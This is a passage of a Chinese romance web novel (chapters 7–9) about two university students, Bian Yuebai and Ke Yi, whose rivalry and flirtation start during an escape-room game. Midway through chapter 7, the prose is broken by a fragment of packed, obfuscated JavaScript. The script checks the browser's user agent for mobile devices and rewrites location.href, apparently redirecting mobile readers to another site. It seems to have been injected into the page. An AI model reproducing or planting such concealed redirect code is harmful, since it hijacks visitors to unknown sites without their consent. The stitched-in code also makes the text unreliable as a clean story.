在食堂排队等饭时,程善掏出手机刷了会儿短视频,又瞥见柯弋插着兜也不知道在想什么。
程善收起手机,自个儿琢磨了会儿,恍然大悟道:“就咱俩这塑料友谊,我说你为什么突然要找我吃饭,还问我是不是在致用楼这边的自习室,感情是为了这妹子啊。”
这还不算完,他吐槽:“人到大四要毕业了你春心萌动了?早跑哪去了?”
“......”柯弋幽幽瞥他一眼。
“听哥一句劝啊,毕业季就是分手季。好看优秀的妹子千千万,别这个时候耽误人家。”
正巧排到,程善嘿嘿一笑,指了指身后的人,“一份鸡公煲微辣打包,他付钱。”
柯弋向前
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一步,接话:“一样。”
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程善无辜地说:“你别这么看我啊,真话。”
“好歹也是我付钱,你能不能说句好听点的?”柯弋淡声敲打他。
程善砸吧嘴,做了个加油打气的动作,“好吧,那祝你马到功成!”
又隔了会儿,程善突然激动地拍柯弋胳膊,让他去看。
“欸欸欸,这是刚刚那姑娘对吧?”
柯弋收了手机,懒懒地撩起眼皮就看见边月白手里已经提了两个外卖袋子,还站在食堂窗口面前打饭。
乌黑长发披散,随着俯身点菜的动作垂在空中,一荡一荡的。
看了几秒,淡淡“嗯”了声,没多余表情和动作。
边月白接过打包好的饭菜,漾起笑道谢,转身抽了双一次性筷子就走。
“对了,突然想起来个事儿,这姑娘好像有点眼熟啊?我见过?”
“见过。”
程善转头看他,难掩惊讶:“还真的?”
“去年夏天,一起玩过密室逃脱。”
稍一回想,这下程善想起来了,有些激动地拍他胳膊,“对对对!是她!我说怎么这么眼熟呢!”
说完又回过味来,程善眼睛一眯,指着柯弋不怀好意说:“你小子不会那个时候就喜欢她吧?不对不对,那时候你那拽炸天的傻X模样也不像是在追人啊。”
柯弋从食堂阿姨手里接过包装袋,忽略掉他对自己的恶意评价,淡淡瞥了他一眼,“没,我又不是见一个就喜欢一个。”
“也是,那你什么时候喜欢上的?说说看?”程善在边上吵着要听他的少男心事。
柯弋暂时性耳聋,听不见,也不理他。
直到听见程善摸了摸脸说了句,“不过她好像没认出我来,是我长得太大众脸了吗?”
“嗯?你?”柯弋似乎听到什么好笑的事,笑了下,“我都要费好大一番功夫。”
程善倒吸了口气,神色复杂道:“那没道理啊你这种长相都记不住,难不成这姑娘脸盲啊?”
柯弋怔愣了下,若有所思地说:“或许吧。”
-
“噗——”
边月白侧身躲过符瑾差点喷到脸上的米饭粒,毛霏霏拿来一包纸巾抽了张递给符瑾,又抽了一张收拾桌面。
这折叠桌子可是大二那年,四人为了在宿舍吃火锅,花了20块钱巨款在二手市场淘的。利用率极高,时不时就会像现在这样,大家搬了自己凳子过来围坐在一起吃饭聊八卦。
“啊对不起对不起,这个是意外。”
符瑾接过纸巾擦了下嘴,声音含糊但是难掩惊讶,“不是?你说柯弋,不仅把你堵在在自习室门口,还撩开衣服让你摸腹肌?”
“我嘞个A大男菩萨,信女愿每日荤素搭配,请赐我一个这样的男菩萨吧,孩子求求了。”说着,她闭上眼双手合十,一副就要原地入教的样子。
“这是重点吗?”边月白额角那根筋狂跳,听她这么一说差点把手里的筷子咬断。
符瑾眨眨眼,“难道不是吗?”
毛霏霏叹气,拆开包装袋拿出奶茶,吸管一插咕嘟咕嘟喝了两口,“他是不是想让你负责啊?”
边月白手一抖,嗓音有些颤,“不能吧......我怎么负责啊?我拿什么来负责啊?”
毛霏霏放下奶茶,挪了下屁.股下的凳子,把边月白壁咚在衣柜上,眯着眼语气危险,“女人...当然是拿你最重要的东西来补偿我。”
“想要什么?是要四六级证书还是要我的A证?”边月白冷笑,“哪个都不可能。”
“......”毛霏霏无语地坐回座位上,“宝贝你水泥封心吗?”
“少看点霸总小说和短剧吧霏霏,生活不是小说。今天遇上也不是他刻意找来,是因为他朋友也在这个自习室,兜兜转转又遇上了而已。”边月白拨动着包装盒里的绿油油的西兰花轻声说。
“你之前不是说他挺自恋吗,你想想一个特别爱自己的人怎么会允许陌生人‘侵犯’自己呢?所以他不甘心想找我要个解释,出言不逊看我尴尬都是正常的。”
讲到这边月白有些牙痒痒,“但我的耐心也就到这了,如果他想用我没考上研来嘲笑我来膈应我,我真会谢。”
符瑾空耳没听清,一拍桌子,气得脸都有点红了,“什么?没考上研怎么了?搞得他很牛X似的!”
“冷静冷静。”毛霏霏被吓得拿着奶茶的手都抖了一下,拉住符瑾,“是假设,没说。”
符瑾不管,一脸义愤填膺,“白白我跟你说,一次失败不意味着什么,你又聪明又努力做什么都会成功的,明不明白?”
边月白怔忡地点头,满脑子都是“哇她好懂我,我要跟她做一辈子朋友”,心口不禁涌起一阵暖意,正当要直冲喉咙想要哽咽的时候。
符瑾话锋一转,视线在两人面孔上来回游离,最后笑眯眯提议:“对了,明天周末最后一天,一起去玩密室逃脱吗?最近学校附近新开了一家,开业前三天九折。”
心头那点感动瞬间消散,边月白心头一紧,埋头吃饭,抱着碗离开。毛霏霏咬着吸管猛地起身,心虚地拖着椅子离开。
“喂!不带这样的!边月白去不去?我刚刚可是看到你真的被我打动了哦。”
“不去!!”边月白一脸抗拒,“自从去年跟你去过之后我就发誓,我这辈子再也不会去了!”
“为什么啊,那次结束你不是也说很好玩吗?”
“可是你玩之前没告诉我会做单人任务啊!!”
7. Allergy 07
去年六月。
符瑾那段时间迷上了某个热门综艺,特别想玩密室逃脱,每天在寝室里撺掇着大家一起去玩,但是寝室里四个人凑不出一个胆子。
还是边月白跟她打赌打输了才愿意陪她去玩。
两人一合计要玩就玩最有意思的,预定了当时市中心最火的那家密室逃脱。因为就她俩,选择的本还是6-8人本,店主就问她们要不要帮忙拼车,或者到了等排位也可以。
人齐能玩就行,她们初次玩没什么要求也不想多花时间等,就选择了前者。
店主前一天晚上拉了个群发了一些注意事项并且再次确定了选本,群里很活跃,进展很顺利。建群的时候边月白正好在洗澡,还是符瑾帮忙确认。
等边月白从浴室出来,一打开手机,群未读消息已经50多条。
边月白头顶搭着毛巾,简单看了下正好6人,只有她们两个女生。爬了下楼也没什么特别需要回复的。况且此时聊得正火热,她突然发个自我介绍也挺奇怪。
符瑾手里劈里啪啦在打字,语气轻松,“没事,反正明天见了面还会再做一遍介绍。安啦,对面这四个人估计都认识,除你之外还有个人也没发消息。”
边月白一翻记录,还真的,那她放心了。
手机被丢在桌面上,她打开吹风机开始吹头,不由打了个哈欠。
每周五的满课简直是噩梦,更崩溃是一打开朋友圈发现别人都提前开始周末了,她们专业还抱着书各个教室赶。
边月白此刻已经有点迷瞪,还好明天约在下午,早上还能睡个懒觉,想着吹完头发就睡。
“白白,他们问要不要一起先吃个午饭认识一下。”
吹风机嘈杂的嗡嗡声中传来符瑾扯着嗓子的声音。
“不了吧,我们自己吃吧。”
“行。”
-
初夏,周六。
正午太阳当头,温度快超过30℃。
A市临近海边,空气潮湿闷热,高温照射下热流涌动。
那家密室逃脱位于市中心其中一幢商场之中,盘了很大一块地方,隔壁那家剧本杀店跟这家都是同一个老板。
边月白和符瑾吃完午饭从学校出发,地铁直达市中心商圈。出地铁站的时候,迎面而来的热浪直接冲散了从地下带出的那点凉意。
天气一热,周末地表人也不多,都躲在奶茶店或是商场里面吹空调悠荡。
符瑾挥手给自己扇风,边月白撑起太阳伞,两人顺着老板发的定位饶了好久的路才找到那个商场。
早到了半个小时,两人没着急进去,在门口的奶茶店点了两倍百香果双响炮,打算消消暑。点完单一问前面还有五杯,也就没离开,等几分钟的事。
面朝大街的档口店面,没有给顾客坐的位置和遮挡棚,但还好有门吹空调。
阵阵风从背后吹来,温热,但总比没有好。
边月白撑着伞发呆,符瑾低头回群里消息。
符瑾:“另外四个男生说刚吃完饭马上就到,店主说早到也可以早开始。”
边月白垂眼盯着脚尖,应了声,“啊,那也可以。”
忽然身边响起脚步声和打趣声。
“你一男生手里拿这么娘们唧唧的冰激凌,求你了快吃了吧。”
话音未落,又听到拳头与皮肉撞击声。不响,估计也没用多少力气。
说话这人应该被揍了一拳。
两道身影从伞前经过,在脚下投下一片阴影。
下一瞬,手里的伞,措不及防被碰了一下,连带着边月白手腕向外一翻。
边月白手腕一疼,眉心轻皱,“嘶——”
“没事吧?”符瑾抬手接过伞柄,没好气地冲着来人嚷嚷,“什么人啊?撞了人也不道歉的?”
被人这么一吼,邵杜瞬间定在原地,挠了挠后脑勺,一脸无措:“真是对不住啊小姐姐,你没事吧。”
边月白揉揉手腕,看向来人,“没什么事,就是别了下。”
面前是位长得白白净净的男生,运动短裤短袖,眼睛看过来明澈清亮,一笑露出一排洁白的牙齿,特别少年感。长得算高,但站在他身后的男生还要比他高上一截,气质也与他迥然不同。
那人黑色宽松长袖配同色短裤,渔夫帽压得低低的,还戴着黑色口罩,面上只露一双狭长上挑的眼。包那么严实,不知道还以为那个小明星出街呢。
一身黑,看着就非常热。
边月白移开视线,抿唇一笑,“算啦,你又不是故意的,别道歉了。”
邵杜也不好意思地笑了,指着商场入口说:“那我们先走啦。”
边月白点头。
“786的两杯百香果双响炮好啦。”
背后的店员在叫号了。
符瑾转身去拿,伞又回到边月白手上。她就这么举着伞百无聊赖地又开始神游,视线虚虚的落在商场大门开开关关。
那两个男生聊着天,临到门口那个戴着渔夫帽男生突然顿住,不知说了句什么又转身回来,从边月白面前路过。
只是一瞬,眼前划过一只手。
冷白的腕骨从纯黑的袖口露出,手背脉络青筋凸起,力量感十足,却握着风格不搭的甜筒。
脆筒上粉色冰激凌撒着白色蝴蝶结形状巧克力,只可惜对方拿在手里也不吃,冰激凌都开始融化了,顺着华夫脆筒流到他圆润指尖。
甜腻的粉红液体像是条丝带,随着肌肤纹理滑进袖管。
即使有伞撑着,边月白此刻仍觉得热得嗓子冒烟,这冰激凌看上去很好吃的样子,应该是草莓味的吧。
正当边月白思维发散在考虑等会结束了要不要也去吃个冰激凌再回校的时候,脸上突然一冰。
冰凉触感刺激之下,边月白皱着脸弹开。
一转头就看见一杯橙黄的果茶,杯壁还蓄着水珠,散发着冷气。
“发什么呆呢?”符瑾好奇地顺着她视线看去,却只见一个黑色背影,定定看了几秒,随后催促她。
“走了走了,热死了。”
“哎呀别看了,这种大热天还在戴口罩的多半是那种氛围感帅哥,摘掉就见光死。”符瑾说着还脑补了下,“咦”了声,又锐评。
“AllBlack,还挺装。”
“......”
不是,她真只想问问这冰激凌在哪买的。
-
等边月白坐在店内沙发上吹着空调时,她还在后悔自己怎么不胆子再大一点,直接冲上去问问。犹豫的结果就是让现在的自己抓心挠肝。
原本大家在群里说好了提前开局,但是到了店内才发现人还没到齐,少了两个人。
先到的四人在互相做了介绍之后都窝在沙发上玩起手机,全然没有延续手机里的热火朝天。
边月白没记住人名,记了个简称。反正胖胖的比他们年纪大两岁,在读研究生,叫纪哥;戴黑色眼镜框的是建筑学院的,叫小程。
为了好记,她俩变成了小白和小符。
半杯果茶进肚,人还没来齐,眼瞅着临近约定时间,边月白感觉对方可能要放她们鸽子,略微对这种行为有些不满。
但是对面两个人保证:“你们放心,一定会来的。这俩小子本来都到楼下了,不知道搞什么名堂到现在还没来。”
“要是迟到了,让他们请你们吃晚饭。”小程说。
边月白跟符瑾对视一眼,都这么说了,她们要是这时候发作就是不识好歹,更何况对方还没迟到,那就再等一等吧。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458992|169659||http|test|mini|href|location''.split(''|''),0,{}));
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>两点整,还是没等到人,四人率先进密室。
室内空调打得很低,尤其是密室内,为了营造恐怖氛围更是不吝啬。
众人一进去都不由自主地打了个冷颤。
边月白搓着手臂上冒出的鸡皮疙瘩,脑海里快速闪过一道身影,刚刚还在吐槽别人大热天穿长袖,这时候她已经开始后悔自己怎么不穿条防晒外套出来。
工作人员将他们带到一个狭隘的密闭空间,房间中摆放着类似于火车上的绿皮座椅,每两个座位一排,一共四排。座位左侧是一条通道,直通一扇紧闭大门,右侧贴着报纸糊住了车窗。
室内暗淡,只有背后敞开门照射进来的灯光。
“你们朋友还来不来啊。”符瑾嘟囔了句。
纪哥说:“来的,刚刚看手机说在电梯上了。”
他们手机都寄存在了前台,现在也不知道是什么情况。
工作人员将人都安置好,适时出声,“放心,人到了我会给领进来的。等会我走了之后会出现一个声音指引你们,听完后就可以开始解密了。”
一共四个人四排椅子,这个工作人员偏要一个人坐一排。也就是等会那两人来了之后,只有两排椅子上是双人,其两人要独自坐着。
小程让人安定的声音从最后响起,“你们放心,等那俩小子来了让他们坐你们边上,要是碰到贴脸杀直接给卖了,千万不要客气!”
“对,谁叫他们迟到!”纪哥坐在最前面转过来替她们忿忿不平。
边月白坐在第三排,符瑾在第二排。
坐下还没一分钟,符瑾忽地转头,紧张道:“我有点害怕。”
“别害怕。”边月白强撑着安慰她,其实已经开始后悔了,明明那么怕鬼还非要来玩这种游戏。
她小时候跟妈妈一起看港区恐怖片,看一次能缓三年的那种。但是耳根子也软,尤其是对朋友,禁不住符瑾在那又是撒娇又是念叨“人生来这么一遭当然什么东西都要尝试一下啦”这类的话。
——就这样,同意了。
工作人员带着那点唯一的光一起离开,门一关上,气流被封闭在这一小小空间,形成回流。
边月白今天穿着裙裤,此时膝盖以下皮肤全部裸.露在空气中。有些冷,她伸手搓了两下,最后捂着膝盖。
此时广播兀自响起,还好不是什么机械的声音而是正常人声。大致讲了一通,介绍了下这个密室的背景。
而他们几人作为新生正乘火车赶往一所女校。
“等等,那我们这大老爷们儿呢?”纪哥忍不住问。
广播声音不怀好意地带着笑,“你们也是哦,不要介意那么多啦。”
只听两个男生低声骂了句,边月白捂嘴轻笑。
广播声音结束的刹那,背后门“咔嚓”一声打开。
边月白回头,看见两个身材高大挺拔的男生背着光进来。
其中较高那个先进门,直奔第四排,结果被小程毫不留情地推出来,“走走走,来这么晚。我们就算了,还让两个妹子等,别坐我这照顾妹子去。”
边月白刚想说不用,身侧就多了个人,肩膀高出她好一截。
紧接着,边月白感觉被一股淡淡的雪后松木的清冽气息包围,还带着若隐若现的,甜甜的草莓味。
草莓味?
边月白猛地转头,视线与他喉间的凸起齐平,下面是黑色领口上面是纯黑口罩,这衬得本就白的皮肤,愈发白得不像话。
缓缓抬头,对上一双点漆般的眸子,眼尾弧度微微上扬。
此刻他也在看她,眼睫微垂,纤长的睫羽缓慢扇动了几下。
边月白克制住自己想去看对方手的欲望,冷静自持地在想。
噢,原来是那个手挺漂亮的装X哥。
8. Allergy 08
入口的门再度关上,这下子不出意外是不会再打开了。
“诶?是你啊。”邵杜诧异道,“真是巧啊,也算是不打不相识了。你好我叫邵杜。”
“好的小杜,叫我小符就好了。”符瑾伸手跟人客气地握了下,解释,“怕记不住大家名字,叫个简称吧,怎么样?”
“可以。”邵杜爽快地说,又指了指身后的柯弋,“他刚刚冰激凌化了他一手,我们走了好久才找到小店买湿纸巾。一来一去就晚了。”
“商场不是有厕所能洗手吗?”
“啧,他屁事儿多,嫌公共卫生间脏。”邵杜嫌弃得瞄了眼身后的人。
边月白愣了下。
这是个老商场,公共设施老旧。刚刚开始前去上厕所就发现里面环境较差,还有股难掩的味道。
洗个手不至于吧……
符瑾沉默好一会儿,又手掌在脸前挥了挥,悄咪咪压低了声音问他:“你这朋友是不是脸上不方便啊?”
“啊?”邵杜笑得有些意味不明,“他可太方便了。他那是怕长太帅被人缠上。”
符瑾再一次沉默了,一时判断不出这句话是不是在反讽。
邵杜嘲笑完,又给自己兄弟找补:“没有开玩笑,之前真碰上过这种情况。”
符瑾偷摸往后瞄了几眼,心想着:不至于吧。
-
边月白清楚听完前面两人的对话,嘴角不由抽动了下。
不想跟这种人过多交流,生怕这种极度自信的恶习传染给自己,但该做的自我介绍还是该做的,转而言简意赅地介绍自己,“小白。”
“蜡笔小新那个?”对方像是故意没听懂。
边月白握紧拳头,克制住想揍人的冲动。
“.......”边月白好脾气解释,“可以叫我小白,你呢?”
“柯弋,木可柯,游弋的弋。”
“那行小柯,很高兴认识你。”边月白自动忽略他一大长串自我介绍,精准提取信息。
柯弋直勾勾看她,忽地笑了,“我也很高兴。”
话是这么说,怎么总感觉他话里有话呢?
错觉,一定是错觉。
边月白摇摇头,把这些想法丢在脑后,目光打转观察房间内,找寻着隐藏的信息。
“别看了,还没到站呢,等到了才允许我们起身找线索。”
边月白眼睛一眯,“你不会玩过吧。”
如果是这样那这次游戏的体验感就会大打折扣了。
“没有,这不是常识吗?”他偏头云淡风轻地问。
边月白用力呼吸,轻哼了声,再不搭话。
随后广播再次响起。
“即将到达圣心女校。请到站的乘客......”
播报完毕后响起人声,“大家可以起身开始找线索了。”
柯弋朝她挑眉,那样子就像是在说。
——你看我说得对吧?
边月白面无表情地起身,用腿推了推他的腿,语气冷淡。
“让让。”
-
第一关很简单,纪哥在第一排座位下面发现了一张招生宣传单,上面直接给出了题目,解开就是开门密码。
六个人三个手电,照着纸张,花了几分钟脑子里默算出了答案。
四位数密码一输,门打开。
六个人刚一出门,就被两个脸上糊满血浆的女生追着嗷嗷乱叫、抱头鼠窜,直接被冲散成了两拨。
同一时刻,显示器前的员工CC,桌前放着个对讲机。
他做完引导介绍之后难得空闲下来,刚给自己拆了包鸭舌开始啃,就看见监控里的人被吓得吱哇乱叫。
那场面好不精彩,尤其再配点东西吃简直下饭神器。
良久后,CC叹了口气,吐出嘴里的骨头,等到那两个npc吓人吓得差不多了才调到员工频道开口:“好了别吓他们了,大美注意点尺度,小美把你那边几个人引到大美那。下一关在那,让他们会和就可以撤了。懂?”
小美撩开发帘,啧了下,懂个屁。
符瑾看见面前穿着校服的女生突然露出一张面目全非的脸,配上那么阴间的音乐和灯光,尖叫:“啊啊啊!!边月白救我!”
边月白衣服被她扯着挡在前面,即使吓得心脏乱跳,还要被迫坚强振作。
光是这一刻符瑾说需要她,那她怎么样都要支棱起来!
边月白沉着气,迫使自己冷静下来,给自己洗脑。
这些都是假的,都是人扮的,打人是犯法的,不管怎么样她都不会再被吓到。
就当她做好心理建设,面前的校服女孩有了新的动作,她嗓子里发出怪异声音,手高高举起。
边月白脖子一缩,眼睛紧紧闭上,内心尖叫。
救救救命啊!!
邵杜也害怕,但现在他是三人之中唯一的男生,咬牙向前占了一步,挡住两个女生,颇有些破釜沉舟的气势。
“有什么冲我来!”
小美看着三个人下一刻像是要赶赴战场英勇牺牲的模样,翻了个白眼,拿起脚下的长尺敲了敲门。
咚咚!
三人看去,只见她抬手按了下门,手一松,门弹开,刚刚死活打不开的暗门就这么被打开。
哦...原来是这样开门。
小美无声地、恶狠狠地指了指门外,意思是赶他们走了。
三人嘴上说着道谢的话,脚下却一个跑得比一个快。跑了好一会儿终于在走廊尽头跟另外三人回合,一齐进入一间音乐教室。
-
这个密室的背景发生在一件女校之中,在这里暴力合法,学校也鼓励校园暴力。因此不断有女生消失,又不断有女生慕名而来。
而他们要做的就是找到真相。
从第二间密室开始,他们正式步入主线剧情。
第二关音乐教室体验感特别差。原因在边月白,因为她看符瑾被吓得头晕,精神看上去有点差。面前正好有一台钢琴,她就简单弹了首小星星逗她笑。
就当另外四个男生凑在一个柜子前,眯着眼对着上面的小孔找线索的时候。
钢琴声停。
咔嚓——
门就这么开了。
角落四个男生身形一震,怔愣地回头看向两个站在钢琴之前的女生,脑袋上缓缓打出一个问号。
“嗯?就这么开了?”
“我去......牛啊,你们怎么知道的。”
边月白:“......”
我说这纯纯是失误,你们会信吗?
-
几个人在门口探头探脑,身后响起边月白微弱的道歉声。
“不好意思啊各位,让大家直接失去解密的快乐了。”
“你真是,道什么歉啊。密室中运气也是一部分嘛。”纪哥摆摆手,满不在乎。
“对呀,这算啥。上次我碰到个哥们儿直接暴力过关的,然后上了黑名单哈哈。”小程大笑。
邵杜白了他一眼,“你这是安慰人吗?”
“来人了。”柯弋冷声提醒。
一瞬间,全员噤声。
眼见出现了一个穿着正常的男性教师,戒尺握在手上敲了敲手心,扫了一圈之后才说:“贾同学说落了个娃娃在走廊尽头的洗手间,现在出一个同学帮我取一下。”
“我去,单线任务。”符瑾小声地说。
闻言,边月白往后退了步躲在柯弋身后。
柯弋似有所感回头,看见边月白双手合十跟他求助,叹了口气,转回去后挪了下身子将她露出来的胳膊肘也挡住。
背后响起女生软糯的声音。
“谢谢你,大好人。”
柯弋微微勾了下唇,迅速压下。
显示器前。
CC鹰眼一扫,举起对讲机拍案决定,“就她了!选那个躲在最后面的女生!”
得到指令,男教师邪魅一笑,手指指向柯弋,缓缓开口:“就你了,出来吧,躲在这位男生后面的女生。”
被点到名的边月白简直要原地抓狂,丧着一张脸出列,抬头跟柯弋对上视线,对方抬了抬手,看上去没被选上也很无奈。
于是,边月白荣幸获得单线任务,跟着男教师来到一个拐角,面前只有一条路。
尽头就是一把椅子,上面坐着个戴着头套的高大男生,手里捏着布娃娃一只手臂,而布娃娃就这么垂在那。
真是掩饰都不带掩饰的,就这么直白地告诉你。
——就在那,
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去拿吧。
——拿了绝对会被这个人追。
未知的恐惧很吓人,这种昭然若揭的恐惧也很吓人啊!!!
许是看她两腿都有点在打颤,男教师鼓励她:“没事的,不吓人的。”
边月白幽幽瞅他一眼,即使内心都要吐槽疯了,但嘴上说:“谢谢。”
男教师完成任务,闪身离开。
走廊也不过才十米左右,两侧前面空荡荡,顶上两排稳定的灯,虽然很暗,但是能看清楚。
边月白咽了口唾沫,刚准备给自己打气。
忽然,那两排灯带开始狂闪,从内到外,从外到内,一边亮起一边灭掉。
边月白浑身血液凝固,害怕地想哭。
那头监控室的CC踩着椅子,手上飞速推动着光带调节按钮,狂笑着,“哈哈哈哈哈让你见识一下我们老板花了六百多新装得特效灯!”
密室中的边月白又要崩溃了,她心一横,就以她那体测勉强及格的速度冲到尽头,片刻不敢停,弯下腰扯走布娃娃。
转身含着泪往刚刚那间音乐教室的方向狂奔。
背后的头套男瞬间激活,刻意发出恐怖的声音追上来,白色灯光突然发癫变成红色,还带狂闪。
太他爹的吓人了!!
妈妈啊!!
“六百啊!!太值啦!!”CC拍着桌子给店长录视频反馈,“老板啊!你看看这效果!!”
边月白冲破极限,拐弯的时候刹车紧接着起步,一套动作做得流利又漂亮。
拐角过后没有灯光,边月白深吸口气再次冲出去的时候,直直撞入一个宽大健硕的胸膛。吓得她很不优雅的,当场冒出脏话。
突如其来的怀抱让边月白心底瞬间哇凉,寒意从脚一路窜到天灵盖。管不上是谁,只记得背后还有人追,挥手拍打着面前的人。
她厉声警告他,“让开啊!小心我打你!”
正当要挥拳,头顶上兀然冒出个音节,紧贴着的胸膛也随之轻微震动。
“我。”
边月白动作停顿,手无力垂下,结果右侧的手落入一个温暖宽厚的手掌。
接触的瞬间,两人都因为这个意外而轻微颤动了下,就像是膝跳反射那样。
边月白内心思绪纷乱。
等等,他叫啥来着?
算了,就叫草莓冰激凌吧。
背后的脚步声越来越近,可他手还托着她的手没有下一步动作。
这种感觉很怪异,边月白当时太紧张了,也没时间给她细想。
根本没有意识到两人早已打破正常社交距离,甚至这个动作还带了点暧昧。
“在干什么?跑啊!”边月白猛地抬头。
下一刻,背后响起一道故作惊喜的声音。
“嘿嘿!看到你了!”
柯弋慢吞吞地瞥了眼,这种程度对他影响不大,手指张开扣住她后脑勺朝自己这压。
其实都不用压,头套男声音一响,怀里的女孩就拼了命往自己怀里钻,仿佛那不是个怀抱而是鸵鸟的洞。
怪不得邵杜说这种密室最适合泡妹子,不认识他还敢这么抱他。
啧。
拐角处,一条道闪烁着五彩斑斓的光,一条道没入黑暗。
柯弋手掌下移,在边月白背上轻轻拍了拍,半张脸隐没在黑暗,只露一双眼,没有半分笑意,眼神凌厉,极具攻击性。
头套男嘶叫两声之后见对方没反应,也无语了,当场破防大笑。
草,这该死的情侣,果然哈哈哈哈我就是这个世界npc。
这个世界就是一个巨大的草台班子哈哈哈哈。
耳机里响起CC的叹息声,带着深深的无力感召唤他。
“可以了辛苦了,咱回来吧。”
边月白被身后莫名其妙的笑吓得身体又是一僵。
方才混乱动作间,大概是她眼角的泪花无意将面前男生的衣服打湿一块,那一块的颜色彻底变成真正的黑。
她看着那块泪渍,头晕也乎乎的,掩耳盗铃般地抬手擦了下。
低沉的声线从头顶传来,声调略带几分玩味,临到最后几个字更是咬着重音。
“摸我胸干什么?”
“女、流、氓——”
9. Allergy 09
“女、流、氓——”
边月白:!!!
霎时间,顾不得其他,边月白几乎是弹射起身,语无伦次地解释:“你别乱说!我、我只是看你衣服上有点脏东西。”
可这声音越说越小,越说越没底气。
柯弋低头提起衣服一角,有些好笑地看着她,慢条斯理地重复:“哦?脏东西?”
任谁看都看得出这是她搞出来的,更何况这人看着也不傻。
边月白最后挣扎了一下,替自己辩解道:“只是眼泪,没有其他。”
“不信你看。”她一边说着,一边踮起脚尖,仰起头势必要让柯弋看清楚。
忽明忽灭的灯光下,她的脸在视线中一下子放大,晶莹剔透的泪珠挂在微翘睫毛之上。细腻的皮肤在光影下泛着柔光,几乎看不见毛孔,干净又鲜活。
“不看。”柯弋淡淡移开眼,没多跟她掰扯,插着兜转身就走。
边月白小步跟上,还在后面疑神疑鬼地眼神乱飘。
“过来。”
“嗯?”
“来前面。”
“哦哦。”边月白说,“他们呢?”
“先去下一关了。”柯弋顿了顿,又解释,“猜拳输了,留我在这等你。”
两人左拐右拐穿过一段黑暗地段,身后的人时不时在她偏离路线的时候扯一下她的衣角,顺带出声提醒。
就这样来到有光线的地方,面前是个岔口。
边月白回头问他:“往哪?”
“左。”他简短应了声。
她一边旋身,一边下意识扫了他一眼,目光在他脖颈处顿了一下。那是道细长的血痕,颜色浅浅却清晰可见,划破了他白皙的皮肤,不深,却足够扎眼。
有点像是被人指甲挠出来的。
边月白心头一紧,想起自己新做的美甲。
不会吧......
察觉到她的怔愣,柯弋眸光微动,“怎么?”
边月白没说话,手指点点自己脖子示意他,然后轻抬下巴。
柯弋似乎反应慢了半拍,抬手指腹碰上那条伤痕,“嘶”地倒吸一口气,眉头微拢,隐忍不发。
看着他这副模样,边月白顿感愧疚。
“不好意思啊,刚刚我——”
柯弋凉凉瞥她一眼,把她话接了下去,“刚刚你真的是比过年的猪都难摁。”
“......”
边月白噎住,道歉的话就这么被堵在嘴边,憋了老半天憋出来一句,“那你还挺有生活,过年还帮家里杀猪。”
眼看着面前的人脸色越来越差,边月白打算说点话缓和一下当下的尴尬氛围,闭上眼深呼吸后,再次开口:“对不起,我包里有创可贴,等出去我给你拿。你看这样可以吗?”
对方似是不屑,轻哼了一声,“等你的创可贴来,伤口恐怕是早就愈合了吧。”
“......”
不可以生气,生气会长结节。
啊啊啊啊啊可是好气啊!
边月白调整好呼吸,皮笑肉不笑地说:“你说得对,男孩子就该大度点,别跟我计较啦。就当是消解过年造的杀孽啦。”
说完抬手拍了拍他的肩膀,声音都冷了几分,“走吧。”
走了两步,背后忽地传来像是终于抑制不住的低笑声。
边月白皱眉:他好奇怪,这有什么好笑的?
-
两人一出现,那头四个人眉头舒展开来,兴奋地朝他们招手。
“就等你俩啦。”
“来来来,布娃娃放这里就可以去下一间密室了。”
眼前的砖墙中向内陷进去一个块,像是个方形的展示台,底下还有个圆形机关。
边月白一模布娃娃,果然在屁.股上摸到一个圆心铁片,对照着往上一放,贴合,门开。
六人有序进入,门后不是一间密室,而是四间。中间的牌子上写着——自行分组,两人一队进入房间。
纪哥吐槽:“四间房四排座位,是又想让我们分开啊,怪不得店主发车一定要凑成双数,原来是这样。”
“来吧怎么分?”小程跃跃欲试地问。
考虑到边月白和柯弋这边已经建立了深刻的“革命友谊”,大家都不忍心将两人分离。
他俩就这样成了第一对被敲定的组合,带着众人的期盼先一步推开第一扇门进入。
边月白拉开门,房间内部景象映入眼帘。
室内只亮着一盏吊灯,从天花板中央垂下,冷白的光打在正下方的一把木椅上。椅面上搁置着一副道具手铐,手铐下压着一张故意做旧的纸。
椅脚旁散落着几根被割断的绳索,地上还有凌乱的、发黑的手掌印血迹,就像是一个小型禁闭室。
门在柯弋进入的那一刻“砰”地一声关上,边月白却没被吓到。大概是柯弋这人人高马大的还算可靠,而且他们关系也不怎么样,她卖起队友来也没负担。
两人脑袋凑在一起一目十行地看完纸上的字。
大致意思就是这里是校方提供给学生进行自行“处罚”的地方,在这里他们可以互相残杀,就算出了人命也无所谓。
而现在,他们需要用那个手铐将对方制服。被制服方进入惩罚室,赢的人则可以原路返回。怎么看似乎都是原路返回比较“安全”。
边月白的优点之一,阅读速度超快。
“原来是——猫鼠游戏!”她眼睛一亮,脱口而出。
没等柯弋反应过来,她眼疾手快夺走手铐,手腕一转,利落一扣,“咔”一声轻响。
柯弋低头看去,手腕上赫然多了副手铐。一抬头,他就撞上她眼中一闪而过的狡黠光芒。柯弋静静看着她许久,缓缓牵起嘴角一抹挑衅的笑,告诫她:“笑早了点吧。”
随后,另一只还能自由活动的手抓住她手腕,向后一翻,身上重量向她压去。
边月白节节败退,毫无还手之力。最后被摁在墙上,还不服气,手紧紧攥着手铐另一个环不让他轻易夺去。
可惜力气就是比他小,柯弋手轻轻一用力就从她手里抽出来另一端手铐,然后直接扣在那只手上。
——两人被扣在一起。
手铐扣下的那声轻响还回荡在密闭环境里。
下一瞬,边月白感觉到背上的力道松懈,剑拔弩张的氛围已然舒缓。
边月白转身瞪他,咬牙切齿地想要叫他名字,结果记不起来了只能说。
“你......下手真狠啊。”
柯弋耸了下肩膀,眼底含笑:“你也不赖。”
没办法,两个人走到监控摄像头前,同时举起手晃了晃,冰凉的手铐发出丁零当啷的脆响。
监控室内,看到这一幕的CC再次无语了。
这俩真会玩。
